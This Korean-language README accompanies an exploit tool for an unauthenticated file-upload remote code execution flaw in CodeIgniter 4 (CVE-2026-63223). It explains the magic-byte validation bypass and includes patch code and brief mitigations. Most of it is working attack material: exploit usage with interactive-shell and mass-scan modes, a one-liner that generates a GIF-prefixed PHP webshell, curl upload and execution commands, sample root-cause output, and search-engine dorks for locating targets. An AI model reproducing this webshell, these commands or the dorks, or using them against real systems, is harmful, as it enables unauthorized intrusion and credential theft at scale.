
CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in 파일 업로드 RCE. 매직 바이트 우회(getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4
CVE-2026-63223은 PHP 풀스택 웹 프레임워크인 CodeIgniter 4에서 발생하는 CVSS 9.8의 치명적(Critical) 심각도를 지닌 인증되지 않은 원격 코드 실행 취약점으로, 4.7.4 이전 버전에 영향을 미칩니다.
이 취약점은 클라이언트가 제공한 파일명 확장자를 검증하지 않고 콘텐츠에서 파생된 MIME 유형(매직 바이트)만 검사하는 is_image 및 mime_in 파일 업로드 검증 규칙을 악용합니다. 공격자는 PHP 코드 앞에 이미지 매직 바이트(GIF89a, JPEG, PNG 헤더)를 덧붙이고 파일명을 shell.php로 지정하여 검증을 통과시킵니다. 파일이 웹에서 접근 가능한 PHP 실행 디렉터리에 저장되면 RCE를 달성합니다.
CVSS: 9.8 치명적(Critical) —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H발견일: 2026년 7월 31일 | 보안 권고: GHSA-mmj4-63m4-r6h5 수정 버전: CodeIgniter 4 v4.7.4
| 버전 | 상태 |
|---|---|
| < 4.7.4 | 취약 |
| 4.7.4+ | 패치됨 |
CWE: CWE-434 — 위험한 유형의 파일 무제한 업로드 참조 PoC: imbas007/CVE-2026-63223-POC
CodeIgniter 4의 is_image 검증 규칙은 매직 바이트에서 파생된 확장자(예: gif)를 반환하는 getExtension()을 Mimes::guessTypeFromExtension()에 매핑하여 파일이 이미지인지 확인합니다. 클라이언트가 제공한 파일명 확장자(getClientExtension(), 예: php)는 절대 검사되지 않습니다:
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
// ...
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
// ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
if (mb_strpos($type, 'image') !== 0) {
return false; // "image/gif" → passes!
}
return true; // never checks getClientExtension() = "php"
}
getExtension() ≠ getClientExtension() — 전자는 매직 바이트(gif)에서 파생되고, 후자는 클라이언트 파일명(php)에서 파생됩니다Mimes::guessTypeFromExtension("gif")가 image/gif를 반환하므로 is_image 검증을 통과합니다$file->move($path, $file->getClientName())는 .php 확장자를 유지합니다1. Attacker generates PHP webshell with GIF89a header
→ file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
→ is_image validates: image/gif → PASS
→ File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
→ Apache passes .php to PHP-FPM → PHP executes
→ GIF89a output as plaintext, then <?php code runs
4. RCE as www-data
패치는 hasInvalidImageClientExtension()을 추가하여 이제 클라이언트 확장자도 검사합니다:
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
// ↑ NOW checks getClientExtension() = "php"!
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
// ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
return mb_strpos($type, 'image') !== 0; // TRUE → REJECT!
}
핵심 변경점: 이제 is_image는 getExtension()(콘텐츠 기반, 실제 이미지 확인용) 그리고 getClientExtension()(클라이언트 제공, .php와 같은 비이미지 확장자를 거부하기 위함)을 모두 검증합니다.
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar
# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"
# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell
# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php
# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20
-t, --target Single target URL
-f, --file Target list, one per line
-e, --endpoint Vulnerable upload endpoint (default: /upload/avatar)
--field FIELD Upload form field name (default: avatar)
--method {gif,jpg,png} Magic bytes disguise (default: gif)
--filename NAME Shell filename (default: shell.php)
-c, --command Shell command to execute (default: id)
--shell Interactive pseudo-shell mode
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
Host : ci4-app.com
CodeIgniter 4 : YES
Upload : YES
Shell URL : http://ci4-app.com/uploads/shell.php
RCE : YES
RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar
# Execute
curl http://target/uploads/evil.php?c=id
FOFA: body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"
성공적인 악용 시 웹 서버 사용자 권한으로 원격 코드 실행이 가능해집니다:
.env 파일에서 데이터베이스 자격 증명 탈취계정이나 인증이 필요하지 않습니다 — ext_in 없이 is_image/mime_in을 사용하는 업로드 엔드포인트는 기본적으로 취약합니다.
is_image/mime_in과 함께 ext_in 검증 규칙을 사용하세요readfile() 프록시를 통해 제공하세요getRandomName()으로 서버가 제어하는 파일명을 생성하세요교육 및 승인된 테스트 목적으로만 사용하십시오.
명시적 허가 없이 시스템을 대상으로 사용하지 마십시오. 저자는 오용으로 인한 책임을 지지 않습니다.
| 리소스 | 링크 |
|---|---|
| GitHub 보안 권고 | GHSA-mmj4-63m4-r6h5 |
| 참조 PoC | imbas007/CVE-2026-63223-POC |
| NVD 항목 | CVE-2026-63223 |
| CodeIgniter v4.7.4 | 변경 로그 |
| CWE-434 | 무제한 업로드 |
CodeIgniter 재단과 관련이 없습니다.